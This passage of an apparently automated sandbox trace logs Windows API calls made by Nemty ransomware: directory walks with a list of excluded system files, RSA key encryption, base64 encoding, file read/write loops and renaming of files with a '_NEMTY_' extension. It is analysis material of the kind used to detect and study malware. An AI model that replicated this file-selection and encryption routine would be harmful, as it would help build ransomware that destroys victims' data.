lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.200] CloseHandle (hObject=0xffffffff) returned 0 [0148.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0148.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340468 [0148.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png._nemty_kgobjgd_")) returned 0 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.201] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2=".") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="..") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="...") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="windows") returned -1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="$RECYCLE.BIN") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="rsa") returned -1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="NTDETECT.COM") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="ntldr") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="MSDOS.SYS") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="IO.SYS") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="boot.ini") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="boot.ini") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="ntuser.dat") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="desktop.ini") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="CONFIG.SYS") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="RECYCLER") returned -1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="BOOTSECT.BAK") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="bootmgr") returned 1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="programdata") returned -1 [0148.201] lstrcmpiW (lpString1="pause_hov.png", lpString2="appdata") returned 1 [0148.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_hov.png", lpUsedDefaultChar=0x0) returned 13 [0148.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_hov.png", lpUsedDefaultChar=0x0) returned 13 [0148.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_hov.png", lpUsedDefaultChar=0x0) returned 13 [0148.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_hov.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_hov.png", lpUsedDefaultChar=0x0) returned 13 [0148.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.202] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.202] Sleep (dwMilliseconds=0x5) [0148.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbfd2c90, dwHighDateTime=0x1d561e8)) [0148.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbfd2c90, dwHighDateTime=0x1d561e8)) [0148.213] GetLastError () returned 0x5 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.214] GetLastError () returned 0x5 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.214] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.214] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.214] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.214] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="sdIQMYv9H9W8y60MNCvbWHKE/7kjtD4wizmo1wLtMjtlTEFdjlPybcGtXAyc7APu\r\nXKPC95XfODvWuFb8cprlOaaqh7wwrzvWrXV5IHO7A1iBTfPwgDRHGWvil4tbBCBp\r\nYqHLzS8SzQkaKIhQ/JnJ6t6K4JRvUlaB0MWi6YicixDgchLHBt7y+EaqndWUE07F\r\n+03Htzaj7pZPHiHghZLx8p7CDkX9993JaU9OUM9Cy3KawdYi9IbrpERzvPr/v0A1\r\nkzAWh0pT15ouGssL8qtFytAAUdTF0bNybKzLe4iJfhFynWmm+x2lUlKz/3MVrgor\r\n5rYT/EDf5XyinuDtN/Fbhg==\r\n", pcchString=0x653e91c) returned 1 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.214] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.214] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.295] SetFilePointer (in: 